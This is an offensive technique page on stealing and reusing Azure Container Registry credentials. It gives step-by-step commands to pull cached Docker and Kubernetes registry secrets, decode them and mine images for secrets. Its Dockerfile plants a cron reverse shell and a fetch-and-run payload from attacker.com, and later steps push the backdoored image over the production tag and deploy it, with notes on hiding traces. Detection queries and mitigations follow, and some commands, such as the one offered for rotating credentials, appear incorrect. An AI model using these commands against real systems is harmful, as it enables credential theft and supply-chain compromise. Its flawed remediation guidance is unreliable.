MCADDF

[REALWORLD-035]: Container Registry Credential Reuse

Metadata

Attribute Details
Technique ID REALWORLD-035
MITRE ATT&CK v18.1 T1528 - Steal Application Access Token
Tactic Credential Access, Lateral Movement
Platforms Entra ID / Azure
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Azure Container Registry versions
Patched In N/A - By design
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Azure Container Registry (ACR) stores container images and requires authentication to push or pull images. When credentials (admin account, service principal, or managed identity tokens) are cached or stored on developer machines, build agents, or deployment systems, attackers who compromise any of these systems can reuse the credentials to pull sensitive container images, push malicious images, or enumerate private registries. Unlike traditional credentials that might be reset, container registry credentials are often forgotten and remain active indefinitely.

Attack Surface: Docker daemon configuration (~/.docker/config.json), PowerShell credential caches, build agent configuration files (Azure DevOps, Jenkins), environment variables, Kubernetes secrets, application deployment scripts, GitHub Actions workflows.

Business Impact: Complete container supply chain compromise and lateral movement across all services using those images. An attacker can pull proprietary images (containing source code, API keys, and business logic), inject malicious code into production deployments, or enumerate registries to discover internal services. This is particularly dangerous for organizations with CI/CD pipelines.

Technical Context: ACR credentials persist on machines after a user logs in with docker login or az acr login. Unlike transient tokens, these credentials often have no expiration or are set to 12+ months. An attacker finding a cached credential can use it immediately without triggering new sign-in logs or conditional access checks.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 7.3 Ensure registry image scanning is enabled
DISA STIG SI-7(6) Ensure container images are scanned for vulnerabilities
CISA SCuBA Azure 3.2 Ensure strong authentication for containerized workloads
NIST 800-53 AC-2(1), SI-7 Application-based authentication; Information System Monitoring
GDPR Art. 32 Security of Processing - Access Controls
DORA Art. 9, Art. 15 Protection from ICT incidents and critical dependencies
NIS2 Art. 21(3) Privilege and Access Management; Supply Chain Risk
ISO 27001 A.9.2.3, A.14.1.1 Privileged Access Rights; Information Security Controls
ISO 27005 8.2.3 Unauthorized Access to Assets; Supply Chain Compromises

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extract Credentials from Docker config.json

Supported Versions: All Docker versions

Step 1: Locate and Extract Docker Credentials

Objective: Find cached ACR credentials in Docker’s configuration file.

Command (Linux/macOS):

# Check if Docker config exists
ls -la ~/.docker/config.json

# View the file (credentials are base64-encoded)
cat ~/.docker/config.json

# Extract ACR credential details
cat ~/.docker/config.json | jq '.auths | keys'

# Decode base64 credentials
echo "Base64_encoded_credential" | base64 -d

Expected Output:

{
  "auths": {
    "myregistry.azurecr.io": {
      "auth": "bXlzcGluMDAxOnNpMzBLSDZCRG0vZEgvMjNMSzk3YWdaWFpqVWlxcWtWRDR5Tl89"
    }
  }
}

Command (Windows PowerShell):

# Check for Docker config on Windows
$DockerConfigPath = "$env:USERPROFILE\.docker\config.json"
if (Test-Path $DockerConfigPath) {
    Get-Content $DockerConfigPath | ConvertFrom-Json | Select-Object -ExpandProperty auths
}

# Decode base64 credential
$EncodedCred = "bXlzcGluMDAxOnNpMzBLSDZCRG0vZEgvMjNMSzk3YWdaWFpqVWlxcWtWRDR5Tl09"
$DecodedCred = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedCred))
Write-Host "Decoded credential: $DecodedCred"

Expected Output:

Username:Password or ServicePrincipalId:ClientSecret

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 2: Test Credential Validity

Objective: Verify that extracted credentials work.

Command (Linux/macOS):

# Using extracted credentials
REGISTRY="myregistry.azurecr.io"
USERNAME="myuser"
PASSWORD="extracted_password_or_token"

# Test pull access
docker login -u "$USERNAME" -p "$PASSWORD" "$REGISTRY"

# Pull an image to confirm access
docker pull "$REGISTRY/app:latest"

# List repositories in the registry
curl -u "$USERNAME:$PASSWORD" "https://$REGISTRY/v2/_catalog"

Expected Output:

Login Succeeded
Image pulled successfully: myregistry.azurecr.io/app:latest
{"repositories":["app","backend","frontend","secret-service"]}

What This Means:

OpSec & Evasion:


Step 3: Enumerate Container Images and Extract Source Code

Objective: Pull container images to extract source code, secrets, and proprietary logic.

Command (Linux/macOS):

# Pull sensitive images
docker pull myregistry.azurecr.io/backend-api:latest
docker pull myregistry.azurecr.io/database-migration:latest

# Extract image layers
docker save myregistry.azurecr.io/backend-api:latest -o backend-api.tar

# Extract tar and explore filesystem
mkdir -p extracted_image
cd extracted_image
tar -xf ../backend-api.tar

# Find and extract secrets
find . -name "*.env" -o -name "*.config" -o -name "*.json" | xargs grep -l "password\|api.key\|secret"

# Extract source code
find . -name "*.py" -o -name "*.js" -o -name "*.go" -o -name "*.jar" | head -20

# Look for environment variables in image layers
grep -r "ENV " . | grep -i "api\|key\|secret\|password"

Expected Output:

backend-api.tar extracted
/app/config/secrets.env contains:
  DATABASE_PASSWORD=prod_password_123
  API_KEY=ak-skjf-sdfj-sdfj-sdfjsdfj
/app/src/main.py (proprietary source code found)

What This Means:

OpSec & Evasion:


METHOD 2: Inject Malicious Image into Registry

Supported Versions: All Docker versions

Step 1: Create Malicious Container Image

Objective: Create a backdoored version of a pulled image.

Command (Linux/macOS):

# Create a Dockerfile that adds backdoor
cat > Dockerfile.backdoor <<'EOF'
FROM myregistry.azurecr.io/app:latest

# Add reverse shell or C2 agent
RUN echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -

# Or install C2 agent
RUN apt-get update && apt-get install -y curl
RUN curl -o /tmp/agent.sh http://attacker.com/agent.sh && bash /tmp/agent.sh

# Hide changes in logs
RUN history -c && rm -rf /tmp/*
EOF

# Build the malicious image
docker build -f Dockerfile.backdoor -t myregistry.azurecr.io/app:latest-malicious .

# Tag it to match the original (for supply chain attack)
docker tag myregistry.azurecr.io/app:latest-malicious myregistry.azurecr.io/app:latest

What This Means:

OpSec & Evasion:


Step 2: Push Malicious Image to Registry

Objective: Upload the backdoored image to the registry.

Command (Linux/macOS):

# Authenticate with stolen credentials
docker login -u "$USERNAME" -p "$PASSWORD" myregistry.azurecr.io

# Push the malicious image
docker push myregistry.azurecr.io/app:latest

# Verify it's in the registry
curl -u "$USERNAME:$PASSWORD" "https://myregistry.azurecr.io/v2/app/manifests/latest"

Expected Output:

Pushing layer (100%)
Pushing manifest
Image pushed successfully

What This Means:

OpSec & Evasion:


METHOD 3: Exploit Kubernetes Secrets Containing ACR Credentials

Supported Versions: All Kubernetes versions with Azure Container Registry

Step 1: Extract imagePullSecrets from Kubernetes Cluster

Objective: Find and extract container registry credentials stored in Kubernetes secrets.

Command (Bash):

# List all secrets in all namespaces
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/dockercfg" or .type=="kubernetes.io/dockerconfigjson") | {name: .metadata.name, namespace: .metadata.namespace}'

# Extract specific secret
kubectl get secret -n default acr-secret -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq '.'

# Get the registry credentials from the secret
kubectl get secret -n default acr-secret -o jsonpath='{.data.\.dockerconfigjson}' | \
    base64 -d | jq '.auths[] | {username: .username, password: .password}'

Expected Output:

{
  "name": "acr-secret",
  "namespace": "production"
}
{
  "username": "myuser",
  "password": "PAT_token_or_password"
}

What This Means:

OpSec & Evasion:


Step 2: Use Credentials to Compromise Other Clusters

Objective: Use stolen credentials to access registries used by other clusters.

Command (Bash):

# Create imagePullSecret in another cluster using stolen credentials
kubectl create secret docker-registry acr-backdoor \
  --docker-server=myregistry.azurecr.io \
  --docker-username="$USERNAME" \
  --docker-password="$PASSWORD" \
  --docker-email="attacker@example.com" \
  -n production

# Deploy malicious pod using the backdoor secret
cat > backdoor-pod.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: backdoor-agent
spec:
  imagePullSecrets:
  - name: acr-backdoor
  containers:
  - name: agent
    image: myregistry.azurecr.io/app:latest  # Malicious image
    command: ["/bin/bash", "-c", "curl http://attacker.com/callback"]
EOF

kubectl apply -f backdoor-pod.yaml

OpSec & Evasion:


4. TOOLS & COMMANDS REFERENCE

Docker CLI

Version: 20.10+ Installation:

# Linux
curl -fsSL https://get.docker.com -o get-docker.sh && sudo sh get-docker.sh

# macOS
brew install docker

Usage:

docker login myregistry.azurecr.io
docker pull myregistry.azurecr.io/app:latest
docker push myregistry.azurecr.io/app:latest

Azure CLI ACR Commands

Installation:

az extension add --name container-registry

Usage:

az acr login --name myregistry
az acr repository list --name myregistry
az acr repository show-tags --name myregistry --repository app

kubectl

Installation:

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

Usage:

kubectl get secrets -A
kubectl get secret acr-secret -o jsonpath='{.data}'

5. SPLUNK DETECTION RULES

Rule 1: Detect Abnormal Container Image Pulls

Rule Configuration:

SPL Query:

sourcetype="azure:containerregistry" OR sourcetype="docker"
| search action="pull" OR action="PullImage"
| stats count by user, src_ip, image_name
| where count > 10
| join user [ search sourcetype="azure:aad:audit" OperationName="Sign in" | dedup user ]

What This Detects:

Rule 2: Detect Image Push from Unexpected Locations

SPL Query:

sourcetype="azure:containerregistry"
| search action="push" OR action="PushImage"
| stats count by user, src_ip, image_name, TimeCreated
| where src_ip NOT IN ("10.0.0.0/8", "192.168.0.0/16")  // Exclude internal IPs
| alert

6. MICROSOFT SENTINEL DETECTION

Query 1: Detect Unusual Image Pulls from Service Principals

KQL Query:

ContainerLog
| where OperationName =~ "PullImage" or OperationName =~ "pull"
| where TimeGenerated > ago(1h)
| summarize PullCount = count(), ImageCount = dcount(Image), SourceIPs = make_set(SourceIpAddress) by CallerPrincipalId, CallerPrincipalName
| where PullCount > 5 and ImageCount > 2  // Multiple images from one principal
| project CallerPrincipalName, PullCount, ImageCount, SourceIPs

Query 2: Detect Image Push with New Credentials

KQL Query:

ContainerLog
| where OperationName =~ "PushImage" or OperationName =~ "push"
| where TimeGenerated > ago(24h)
| extend PrincipalDetails = parse_json(CallerPrincipalId)
| where CallerPrincipalId has_any ("service principal", "managed identity")
| project TimeGenerated, CallerPrincipalName, Image, OperationName, Properties

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Action 1: Rotate All Container Registry Credentials

Manual Steps (Azure Portal):

  1. Navigate to Container Registries → Select registry
  2. Go to Access keys
  3. For Admin user: Click Regenerate for both passwords
  4. For Service Principals: Update credentials in Entra ID
  5. Update all systems using the old credentials

Manual Steps (Azure CLI):

# Rotate admin account password
az acr credential-set --name myregistry --status Enabled

# Or disable admin account entirely (recommended)
az acr update --name myregistry --admin-enabled false

# Use managed identities instead (see Action 2)

Action 2: Enforce Managed Identities Instead of Credentials

Manual Steps (Kubernetes - Use Managed Identity):

# Create Kubernetes secret using managed identity
kubectl create secret docker-registry acr-secret \
  --docker-server=myregistry.azurecr.io \
  --docker-username=00000000-0000-0000-0000-000000000000 \
  --docker-password=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv) \
  -n production

Priority 2: HIGH

Action 1: Enable Azure Container Registry Image Scanning

Manual Steps (Azure Portal):

  1. Navigate to Container Registries → Select registry
  2. Go to SettingsSecurity
  3. Enable Quarantine on push (prevents unknown images from running)
  4. Enable Image scanning (via Microsoft Defender)
  5. Set up alerts for vulnerabilities

Action 2: Implement Image Signing and Verification

Manual Steps (Using Notary for image signing):

# Install Notary
brew install notary  # or apt-get install notary

# Sign image before push
notary key list
notary delegation add --all-paths myregistry.azurecr.io/app targets/releases

# Verify image signature on pull
docker pull --disable-content-trust=false myregistry.azurecr.io/app:latest

Priority 3: MEDIUM

Action 1: Monitor and Audit ACR Access

Manual Steps (Azure Monitor):

  1. Navigate to Container Registries → Select registry
  2. Go to Diagnostic settingsAdd diagnostic setting
  3. Enable logging for:
    • ContainerRegistryRepositoryEvents
    • ContainerRegistryLoginEvents
  4. Send to Log Analytics workspace
  5. Create alerts on unusual access patterns

8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Cloud Logs (Azure Container Registry):

Kubernetes Logs:

Response Procedures

Step 1: Revoke All ACR Credentials

Command (Azure CLI):

# List all service principals with ACR pull/push permissions
az role assignment list --scope /subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.ContainerRegistry/registries/myregistry --query "[].principalId" -o tsv | while read principal; do
    az role assignment delete --ids /subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.ContainerRegistry/registries/myregistry/providers/Microsoft.Authorization/roleAssignments/$principal
done

# Rotate admin credentials
az acr credential-set --name myregistry --status Enabled

Step 2: Audit Image History

Command (Azure CLI):

# List all images in registry
az acr repository list --name myregistry

# For each image, get manifest history
az acr manifest metadata show --name myregistry --repository app --output table

# Get detailed audit logs
az monitor activity-log list --resource-group myresourcegroup --offset 24h --query "[].{Time:eventTimestamp,Operation:operationName,Status:status,Caller:caller}" -o table

Step 3: Remove Malicious Images

Command (Azure CLI):

# Delete specific image tag
az acr repository delete --name myregistry --image app:malicious --yes

# Delete entire repository if compromised
az acr repository delete --name myregistry --repository compromised-app --yes

Step 4: Re-deploy with Clean Images

Command (Kubernetes):

# Force pull new image
kubectl set image deployment/app app=myregistry.azurecr.io/app:latest@sha256:expected_hash --record

# Verify running containers
kubectl get pods -o jsonpath='{.items[].spec.containers[].image}'

Step Phase Technique Description
1 Initial Access IA-EXPLOIT-003 (Logic App HTTP Trigger) or VM Compromise Attacker gains access to dev/build machine
2 Credential Access REALWORLD-035 Extract container registry credentials
3 Lateral Movement LM-AUTH-031 (Container Registry Cross-Registry) Use credentials on other registries
4 Current Step REALWORLD-035 Inject malicious images into production registry
5 Execution Deploy backdoored image to production Attacker gains code execution in all deployments
6 Impact Data exfiltration, ransomware, C2 communication Full cluster compromise

10. REAL-WORLD EXAMPLES

Example 1: SolarWinds-Style Supply Chain Attack via ACR

Example 2: Kubernetes Container Escape via Stolen ACR Credentials


11. FORENSIC ARTIFACTS

Cloud Artifacts:

Local Machine Artifacts (Docker):

Local Machine Artifacts (CLI):

Kubernetes Artifacts:

Image Registry Artifacts:


References: